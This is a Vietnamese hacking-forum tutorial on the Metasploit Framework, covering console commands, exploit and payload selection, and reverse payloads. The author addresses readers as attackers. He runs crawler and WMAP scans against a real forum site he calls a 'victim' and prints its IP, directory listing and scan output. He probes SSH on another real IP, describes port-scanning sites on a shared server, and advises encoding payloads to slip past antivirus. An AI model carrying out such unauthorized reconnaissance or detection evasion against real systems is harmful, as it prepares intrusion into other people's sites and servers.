Ngoài ra còn có lệnh "hosts" chức năng cũng tương tự.Mọi người cứ thử sẽ hiểu thôi.
Trở lại với vấn đề scan.Thu thập thông tin chung về site.Trong Metasploit có khá nhiều auxiliary dùng cho việc này.
Chúng ta sẽ xem một module để minh họa.
Module auxiliary/scanner/http/crawler

type: msf > use auxiliary/scanner/http/crawler
Xem các option của nó nào.Để có thể cấu hình cho đúng.



Như vậy ở đây ta thấy có 6 trường bắt buộc phải config.Trong đó có vài trường đã là mặc định rồi.Mình config lại cho nó luôn

set RHOST honda67.vn
set RPORT 80 //mặc định nó cũng thế rồi
set URI /forum/
run
kết quả thu đc như sau:



ừ đây ta thu đc một số thông tin về site.

Tiếp tục về việc scan.Ta sẽ thử với với plugin WMAP

đây là một bộ công cụ scanning web cho Metasploit 3.Đây là một bộ công cụ mã nguồn mở ,miễn phí nhưng rất mạnh.Mình sẽ demo về nó.
Đầu tiên phải load plugin này về.

msf auxiliary(crawler) > load wmap

nếu nhận đc như thế này thì đã load thành công

msf auxiliary(crawler) > load wmap
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] === et [ ] metasploit.com 2012[*] Successfully loaded plugin: wmap
msf auxiliary(crawler) > help

wmap Commands
=============
Command Description
------- -----------
wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns
Để xem thông tin chi tiết ,các bạn có thể type lệnh "wmap_sites"



Ta thử xem list cách website có thể scan nào.



Đây là mấy site mình scan khi nãy.Muốn scan thêm thằng nào thì cứ cấu hình xong là nó tự add vào thôi.

Như đã thấy ở phần option. Ta scan target với cấu trúc như sau
wmap_sites -s id

id của honda67.vn ở đây là 0 vậy ta type lệnh

wmap_sites -s 0

Nhận đc thông tin như sau
[honda67.vn] (112.78.2.15)


|-----/awstats (1)
|-----/awstats
|-----/basilic
|-----/cacti
|-----/docs (3)
|-----/CHANGELOG
|-----/html (1)
|-----/php_script_server.html
|-----/text (1)
|-----/manual.txt
|-----/forum (30)
|-----/activity.php
|-----/album.php
|-----/awstats (1)
|-----/awstats
|-----/basilic
|-----/cacti
|-----/calendar.php
|-----/clientscript (1)
|-----/vbulletin_css (1)
|-----/style00047l (3)
|-----/additional.css
|-----/forumhome-rollup.css
|-----/main-rollup.css
|-----/docs (3)
|-----/CHANGELOG
|-----/html (1)
|-----/php_script_server.html
|-----/text (1)
|-----/manual.txt
|-----/external.php
|-----/faq.php
|-----/favicon.ico
|-----/forum.php
|-----/forumdisplay.php
|-----/group.php
|-----/index.php
|-----/infernoshout.php
|-----/link
|-----/login.php
|-----/member.php
|-----/memberlist.php
|-----/private.php
|-----/profile.php
|-----/register.php
|-----/search.php
|-----/showgroups.php
|-----/stuff
|-----/test
|-----/tmp
|-----/member_inlinemod.php
|-----/inlinemod.php
|-----/stuff
|-----/style.css
|-----/test
|-----/tmp

Để scan bằng cách load tất cả các module có thể.Thì đầu tiên ta cấu hình cho target trước.

wmap_sites -l // liệt kê target
wmap_target -d 0 // chọn target có id =0
wmap_run -e

Xem ta nhận đc những thông tin gì nào

msf auxiliary(crawler) > wmap_run -e[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules[*] Testing target:[*] Site: honda67.vn (112.78.2.15)[*] Port: 80 SSL: false
====================================[*] Testing started. 2013-04-14 23:13:32 +0700[*] Loading wmap modules...[*] 38 wmap enabled modules loaded.[*]
=[ SSL testing ]=
=====================================[*] Target is not SSL. SSL modules disabled.[*]
=[ Web Server testing ]=
==============================[*] Module auxiliary/scanner/http/http_version[*] Module auxiliary/scanner/http/open_proxy[*] Module auxiliary/scanner/http/robots_txt[*] Module auxiliary/scanner/http/frontpage_login[*] Module auxiliary/admin/http/tomcat_administration[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Attempting to connect to 112.78.2.15:80[*] Module auxiliary/scanner/http/options[*] Module auxiliary/scanner/http/drupal_views_user_enum[*] Module auxiliary/scanner/http/scraper[*] Module auxiliary/scanner/http/svn_scanner[*] Module auxiliary/scanner/http/trace
[-] Received 405 TRACE is not enabled for 112.78.2.15:80[*] Module auxiliary/scanner/http/vhost_scanner[*] >> Exception during launch from auxiliary/scanner/http/vhost_scanner: The following options failed to validate: DOMAIN.[*] Module auxiliary/scanner/http/webdav_internal_ip[*] Module auxiliary/scanner/http/webdav_scanner[*] 112.78.2.15 (Apache) WebDAV disabled.[*] Module auxiliary/scanner/http/webdav_website_content[*]
=[ File/Dir testing ]=
===============================[*] Module auxiliary/scanner/http/backup_file[*] Path: /awstats/awstats[*] Path: /basilic[*] Path: /cacti[*] Path: /docs/CHANGELOG[*] Path: /docs/html/php_script_server.html[*] Path: /docs/text/manual.txt[*] Path: /forum/activity.php[*] Path: /forum/album.php[*] Path: /forum/awstats/awstats[*] Path: /forum/basilic[*] Path: /forum/cacti[*] Path: /forum/calendar.php[*] Path: /forum/clientscript/vbulletin_css/style00047l/additional.css
[*] Path: /forum/clientscript/vbulletin_css/style00047l/forumhome-rollup.css[*] Path: /forum/clientscript/vbulletin_css/style00047l/main-rollup.css[*] Path: /forum/docs/CHANGELOG[*] Path: /forum/docs/html/php_script_server.html[*] Path: /forum/docs/text/manual.txt[*] Path: /forum/external.php[*] Path: /forum/faq.php[*] Path: /forum/favicon.ico[*] Path: /forum/forum.php[*] Path: /forum/forumdisplay.php[*] Path: /forum/group.php[*] Path: /forum/index.php[*] Path: /forum/infernoshout.php[*] Path: /forum/link[*] Path: /forum/login.php[*] Path: /forum/member.php[*] Path: /forum/memberlist.php[*] Path: /forum/private.php[*] Path: /forum/profile.php[*] Path: /forum/register.php[*] Path: /forum/search.php[*] Path: /forum/showgroups.php[*] Path: /forum/stuff[*] Path: /forum/test[*] Path: /forum/tmp[*] Path: /forum/member_inlinemod.php[*] Path: /forum/inlinemod.php[*] Path: /stuff[*] Path: /style.css[*] Path: /test[*] Path: /tmp[*] Module auxiliary/scanner/http/brute_dirs[*] Path: /[*] Using code '404' as not found.[*] Found http://honda67.vn:80/n/ 403[*] Error: 112.78.2.15: ActiveRecord::RecordInvalid Validation failed: Pname can't be blank[*] Path: /awstats/[*] Using code '404' as not found.

Có khá nhiều thông tin có thể khai thác đc bằng cách này.Nhưng mình chọn victim này khá ít thông tin ).

[To be continue]


Nguồn : iCarus - VHB

Metasploit framework

Metasploit framework

Mình đã xem trên mạng.Tài liệu về Metasploit Framework tiếng việt khá ít.Và không đầy đủ.Nên mình viết lại những gì mình biết ,tham khảo thêm một số nguồn tiếng anh [ Mục đích là để giúp newbie biết rõ hơn ,và để làm tài liệu chính thức từ vhb,Không phải lấy từ nguồn khác.Có một bài kakavn_85 leech về vhb rồi.


Nhưng bài đó khá sơ sài ,nên mình viết lại bài này].Hiện tại còn một số phần chưa hoàn thành.Anh em nào am hiểu về các module encoders module và Nops module trong metasploit framework thì pm yahoo mình icarus_ken.Để cùng mình biên soạn kĩ hơn về 2 phần này.

-Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.

-Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn (pentesting ) nhưng đối với những attacker như chúng ta,thì nó thực sự là một công cụ vô cùng hữu ích ( dùng để kiểm tra ,khai thác lỗi ,exploit ).Thực sự theo mình nghĩ thì ai muốn làm hacker (hay script kidie đi chăng nữa ) thì cũng nên bỏ thời gian ra nghiên cứu kĩ về nó.

-Nói sơ qua Metasploit framework là một phần nhỏ của dự án Metaspoit ( đc xây dựng từ ngôn ngữ perl sau đó đc viết lại bằng ruby.Đúng ra là chủ yếu bằng ruby).
Bộ metasploit framwork hỗ trợ giao diện cho nguời dùng dưới nhiều dạng


  • -Console interface : Dùng lệnh msfconsole .Đa số thao tác bằng dòng lệnh.
  • -GUI -armitage : Dùng Armitage để vào.Đây là giao diện đồ họa.
  • -Command line interface : dùng lệnh msfcli để vào


Ta chủ yếu thực thi trên msfconsole ,nhìn cho nó chuyên nghiệp )
Msfconsole có nhiều câu lệnh,option khác nhau.Dứoi đây là nội dung các lệnh đối với msfconsole .

==========================
1 back
2 check
3 connect
4 info
5 irb
6 jobs
7 load
7.1 loadpath
7.2 unload
8 resource
9 route
10 search
10.1 help
10.2 name
10.3 path
10.4 platform
10.5 type
10.6 author
10.7 multiple
11 sessions
12 set

12.1 unset

13 setg
14 show
14.1 auxiliary
14.2 exploits
14.3 payloads
14.3.1 payloads
14.3.2 options
14.3.3 targets
14.3.4 advanced
14.4 encoders
14.5 nops
15 use
=======================
Mình sẽ trình bày sơ nội dung của những lệnh này.

+back : lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi hoàn thành công việc,hoặc muốn chuyển sang module khác.Tất nhiên là có thể chọn ngay module khác luôn mà không cần thoát ra.
ví dụ

msf payload(reverse_http) > back
msf>

+check : Lệnh naỳ giúp ta kiểm tra đã cấu hình đúng cho exploit chưa,mọi việc đã hoàn thành chưa.Cho ta biết kết quả mà không cần phải thực thi exploit đó.Nhưng không phải tất cả mọi exploit đều hỗ trợ lệnh này.

+connect : Lệnh này giống như một bản netcat thu nhỏ đc cho vào metasploit đc hỗ trợ với ssl,proxy,povoting...Với việc dùng câu lệnh connect với địa chỉ ip và port tương ứng,chúng ta có thể connect tới một host từ metasploit giống như khi dùng với netcat hoặc telnet vậy.
ví dụ như
msf > connect 118.69.228.254 22[*] Connected to 118.69.228.254:22
SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1

+info : lệnh này cho biết những thông tin chi tiết của một module (hay một exploit nào đó ) .hiện thị cho ta thông tin cơ bản nhất,bao gồm cả các option cần thiết....




+irb : lệnh này cho ta thao tác trên môi trường của ruby

ví dụ
msf > irb -h[*] Starting IRB shell...
>> puts "welcom to vhbfamily"
welcom to vhbfamily
=> nil


+jobs: lệnh này cho ta biết các module đang chạy.
ví dụ

msf > jobs
Jobs
====
No active jobs.
msf > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l


+load: lệnh này để load một plugin từ metasploit plugins.
ví dụ:ta liệt kê ra danh sách các plugin có và load thử một cái.Sau đó unload luôn plugin mà chúng ta vừa load.

msf > cd /opt/metasploit/msf3/plugins/
msf > ls[*] exec: ls
alias.rb
auto_add_route.rb
db_credcollect.rb
db_tracker.rb
editor.rb
event_tester.rb
ffautoregen.rb
ips_filter.rb
lab.rb
msfd.rb
msgrpc.rb
nessus.rb
nexpose.rb
openvas.rb
pcap_log.rb
sample.rb
session_tagger.rb
socket_logger.rb
sounds.rb
thread.rb
token_adduser.rb
token_hunter.rb
wmap.rb
msf > load alias.rb[*] Successfully loaded plugin: alias
msf > unload alias.rb

+search :command giúp ta tìm kiếm exploit,auxiliary,encoder.... (trong đó nó còn hỗ trợ một số keywork giúp cải tiến khả năng tìm kiếm như


Keywords:
name : Modules with a matching descriptive name
path : Modules with a matching path or reference name
platform : Modules affecting this platform
port : Modules with a matching remote port
type : Modules of a specific type (exploit, auxiliary, or post)
app : Modules that are client or server attacks
author : Modules written by this author
cve : Modules with a matching CVE ID
bid : Modules with a matching Bugtraq ID
osvdb : Modules with a matching OSVDB ID
edb : Modules with a matching Exploit-DB ID
Ví dụ như :
search cve:2009 type:exploit app:client

+sessions: lệnh này liệt kê các session đang tồn tại ,session ở đây có thể là session của shell,của meterpreter ....

+set : lệnh cho phép ta cấu hình cho các exploit...lệnh này gặp thường xuyên .(unset là lệnh có ý nghĩa nguợc lại ).

+setg: trong quá trình thực hiện tấn công một mục tiêu,hoặc nhiều mục tiêu.Ta có thể dùng một exploit hoặc đôi khi là nhiều exploit.Có một vào option nếu set bình thường thì ta phải set nhiều lần.Nhưng nếu ta để cho các option này có ý nghĩa toàn cục.Thì việc lặp lại là không cần.Nó có hiệu lực cho mọi exploit,auxiliary .Đó là ý nghĩa của setg (global set).Để hủy thì ta dùng unsetg .Nếu muốn lưu việc cấu hình này lại dùng lệnh "save".

+show : lệnh này cho phép hiện thị tùy theo tham số đi sau nó .Nếu là "show all" thì nó hiện thị tất cả các module có trong metasploit framework,còn nếu "show exploits" thì nó chỉ hiện thị các exploit có trong module exploits mà thôi.Tương tự cho các module khác.Lệnh show còn dùng để cho ta thấy các tham số thuộc tính (show options).

+use : lệnh này dùng để chọn và dùng một exploit,auxiliary...nào đó.


Cách dùng metasploit đc làm theo qui định chung sau

Chọn một module để attack (Thường ta dùng module Exploies và Auxiliary để attack,các module khác hỗ trợ cho 2 module này).
Có thể dùng lệnh "show all" .Nó sẽ liệt kê tất cả các modules ra cho ta.
Để hiện thị các exploit,auxiliary,payload... của một Module cụ thể hơn ta dùng lệnh "show type_module" mình ví dụ như :show exploits , show encoders,show payload,show nops....

Xem biểu đồ sau để hình dung kĩ hơn về cấu trúc của metasploit framework





  • REX : Thư viện ruby cho các công việc bảo mật
  • Framework Core :Cung cấp giao diện cho việc chạy các module và plugins.
  • MSF Base : để dễ giao tiếp hơn với các module trong framework.



Exploit Modules.
Đầu tiên chọn exploit,muốn chọn ta có thể dùng lệnh "show exploits" để hiện ra tất cả các exploit mà metasploit framework có hỗ trợ.

Để dùng exploit nào đó ta dùng câu lệnh "use name_exploit" .Trong đó tham số name_exploit là tên của exploit đc metasploit hỗ trợ,để biết thêm các thông tin về exploit mà ta đã chọn có thể dùng lệnh "info name_exploit".
ví dụ mình sử dụng một exploit sau khi đã liệt kê ra sẽ là:
use windows/manage/add_user_domain

Sau khi đã chọn một exploit với command use,việc tiếp theo là cấu hình các options mà exploit này yêu cầu.(Để rõ hơn exploit này nó yêu cầu cấu hình như thế nào,phải cấu hình những gì,ta sử dụng lệnh "show options".
Khi sử dụng lệnh show option ta thường nhận đc một bảng gồm các cột như sau:

Name-----Current Setting-------Required---------Description

Trong đó,ở cột required nếu giá trị là "yes" thì bạn phải set giá trị cho tham số này,còn nếu là "no" thì nếu thích thì bạn set cho nó,nếu ko thích thì cũng chẳng sao.Quan trọng phải xem một số nó đã cấu hình mặc định cho rồi có thích hợp với chúng ta hay ko. (Ngoài ra nó còn có thêm một số options khác,dùng "show advanced" , "show evasion" để xem nhé.

Sau khi cấu hình xong ta cần kiểm tra xem việc cấu hình đã đúng chưa.
Để kiểm tra việc cấu hình ta dùng lệnh "check " để xem mục tiêu có bị tấn công đc hay không.Đây là một cách nhanh để ta kiểm tra xem việt cấu hình các options bằng lệnh set có đúng hay không và mục tiêu thực sự có lỗ hổng để khai thác được hay không.Nhưng không phải tất cả các exploit đều thực sự có thể kiểm tra được bằng việc sự dụng lệnh check.Đôi khi ta phải thực sự exploit nó mới biết đc )

* Chọn môi trường họat động.
Nhiều exploits nó còn yêu cầu môi trường có thể thực hiện chứ không phải môi trường nào nó cũng có thể làm đc.Chính vì vậy ta dùng lệnh "show targets " để xem trên môi trường nào có thể exploit.
ví dụ như:

exploit(java_signed_applet) > show targets
Exploit targets:
Id Name
-- ----
0 Generic (Java Payload)
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
3 Mac OS X PPC (Native Payload)
4 Mac OS X x86 (Native Payload)


Cho ta thấy danh sách các môi trường có thể họat động.
để chọn môi trường cho nó ta dùng lệnh "set number_of_target" . Trong đó đối số number_of_target là số thứ tự (số id) khi liệt kê ra.Điều gì xảy ra nếu bạn không chọn môi trường target ? .Trong quá trình exploit nó sẽ tự chọn mặc định cho ta.Và thực tế điều này không phải khi nào cũng đúng như mong đợi.Vì vậy ta chọn bằng tay là tốt nhất.(Tất nhiên phải scan OS trước).

* Chọn Payload : (Selecting the Payload).

Trước tiên Payload là gì.Bạn có thể hiểu nó đơn giản như các thuật ngữ thuờng quen với các bạn hơn như là trojan chẳng hạn.Nó là một đoạn code đc chạy (thực thi )trên máy victim,dùng để thực hiện một số họat động nào đó,hoặc dùng để kết nối về máy attacker.Vậy làm sao để có cái Payload ) này trên máy của victim ? .Có 2 phương pháp chủ yếu được dùng.Phân loại ra vậy thôi chứ khi dùng thì còn tùy trường hợp mà dùng.Đó là gửi cho victim thông qua việc phân tính một lỗi,lỗ hổng nào đó trên hệ thông victim,từ đó đột nhập và vất đoạn payload này cho victim.Để đó chơi.Kiểu thứ 2 là gửi trực tiếp cho victim,chờ đợi victim sơ ý nhận nó ( kĩ thuật social engineering đấy ).

Để hiện thị các payloads tích hợp cho exploit hiện tại chúng ta đang dùng.ta dùng lệnh "show payloads" ,ví dụ mình minh họa bằng 3 payload sau :

windows/dllinject/bind_nonx_tcp - normal Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
windows/dllinject/bind_tcp - ormal Reflective DLL Injection, Bind TCP Stager
windows/meterpreter/reverse_http -normal Windows Meterpreter (Reflective Injection), Reverse HTTP Stager

Như ta thấy có nhiều payload,tương ứng với mỗi OS khác nhau ta dùng một payload khác nhau,và phương pháp cũng khác nhau. Các giao thức dùng cũng khác nhau....Nhìn chung đối với payload có thể phân ra làm 2 loại cơ bản đó là bind payload,và reverse payload .Khi nào ta dùng loại nào.Đây cũng là một vấn đề quan trọng.Nếu như máy của bạn (đóng vai trò là attacker) đứng sau một tường lửa,thì lúc này bạn nên dùng bind payload .Mở một port trên máy tính và kết nối trực tiếp từ máy attacker đến máy victim.Còn nếu như victim đứng sau một tường lửa,còn chúng ta thì không,khi đó chúng ta dùng reverse payload,để connect ngược từ máy victim về ta (attacker ).Như vậy cho thấy khi tấn công mục tiêu.Ta phải tìm hiểu rõ ràng về mục tiêu.Scan,tìm kiếm tất cả các thông tin có thể có.Dựa vào đó mà chọn cách thích hợp.

Khi bạn quyết định chọn một payload nào đó,dùng lệnh "set PAYLOAD name_payload" để chọn payload cần dùng.
giải sử muốn dùng payload windows/meterpreter/reverse_ord_tcp thì ta thao tác là :

set PAYLOAD windows/meterpreter/reverse_ord_tcp
nhận đc là :PAYLOAD => windows/meterpreter/reverse_ord_tcp

Tượng tự để xem rõ thông tin,option về payload ta có thể dùng các lệnh như "show options" ,"info name_payload" ,"show advanced" ,"show evasion"...

Nhắc thêm một lần nữa,đó là payload đc chọn phải phù hợp với môi trường thực thi đã chọn ở trên .Nếu mục tiêu là linux mà dùng payload cho window thì thua rồi.
Sau khi thực hiện tất cả các thiết lập xong thì ta dùng lệnh "exploit" để xem thành quả.



MODULE AUXILIARY:
cung cấp chức năng tăng cường cho các thử nghiệm xâm nhập và quét lỗ hổng cùng với các tác vụ tự động.
phân loại trong auxiliary module:


-module quét các giao thức ( như SMB,HTTP).
-Module quét cách cổng port
-Wireless
-IPV6
-DOS
-Server modules.
-Module khai thác truy cập quản trị

Mình ví dụ về một dịch vụ quét ssh .Nó hỗ trợ các dịch vụ khá đầy đủ .Lúc show auxiliary ra sẽ thấy,rất là nhiều.( Để tìm các exploit hay auxiliary một cách nhanh hơn,ta dùng lệnh search,chứ tất nhiên không thể nhớ hết,hoặc liệt kê ra thì tìm cũng mỏi mắt.Ví dụ mình muốn quét ssh đi,thì thực hiện "search ssh".



Chú ý trong auxiliary module việc set remote host ta dùng "set RHOSTS" chứ không phải là "set RHOST" như bên exploit module đâu đấy.

Như trong ví dụ ta scan được phiên bản ssh của server 118.69.228.254. Các tham số còn lại mình để mặc định hết.

Ví dụ về scan port: Mình sẽ scan xem site nào mở cổng 443 (https) và 80 dùng giao thức tcp đối với các site nằm trong server chứa kmasecurity.net



Việc sử dụng auxiliary nói tóm lại gồm 3 bước căn bản,đó là chọn auxiliary,sau đó set các option cần thiết cho nó.Cuối cùng là run để thực hiện thôi.Việc nắm đc tất cả các auxiliary là rất tốt.Sẽ giúp chúng ta linh động hơn trong việc tấn công một đối tượng nào đó.
Các lệnh payload thường dùng là:

  • generate :để phát sinh một payload.
  • pry:Để mở một pry( một tính năng thay thế cho tiêu chuẩn IRB shell của ruby) session trong module hiện tại.
  • reload : để chạy lại reload lại module hiện tại


Module Payloads:Như đã nói ở trên nó là một shellcode.Trong metasploit framework cung cấp sẵn khá nhiều loại payloads.
Đoạn trên mình đã nói sơ qua payload,chắc mọi người cũng đã hình dung được về payload rồi.Ở phần này mình trình bày thêm về module payload.
Dùng lệnh "show payloads" để liệt kê các payload có trong metasploit.

Để tìm hiểu kĩ hơn về các lệnh này ta dùng tham số -h (--help) ,từ đó mà set các giá trị thích hợp.Mình minh họa một ví dụ.






Như ta thấy có thể dùng option -E để encode cho payload của chúng ta,tăng khả năng vượt antivirut.
nếu không chọn gì thì có thể type lệnh đơn giản là "generate" thôi là đc rồi.
Trong quá trình encoding, payload đc encoding và đc chèn vào những kí tự đặc biệt.
Tất nhiên ta có thể tự chọn các bộ công cụ encode khác nhau trong metasploit .Ví dụ để encode một payload ,Ta muốn thử các kiểu encoding khác nhau.Có thể sử dụng lệnh "show encoders".Lúc này nó sẽ hiện ra một loạt các bộ công cụ encode.Sử dụng một bộ encoding nào đó ta type như sau : "generate -e x86/shikata_ga_nai". Trong đó "x86/shikata_ga_nai" là một bộ encoding trong encoders module.
Có rất nhiều bộ encoder đc hỗ trợ của Metasploit framework.Chính vì vậy bạn nên chọn một bộ nào đó để encode .Giúp hiệu quả hơn trong quá trình ẩn mình.

--to be continue.

Nguồn iCarus - vhb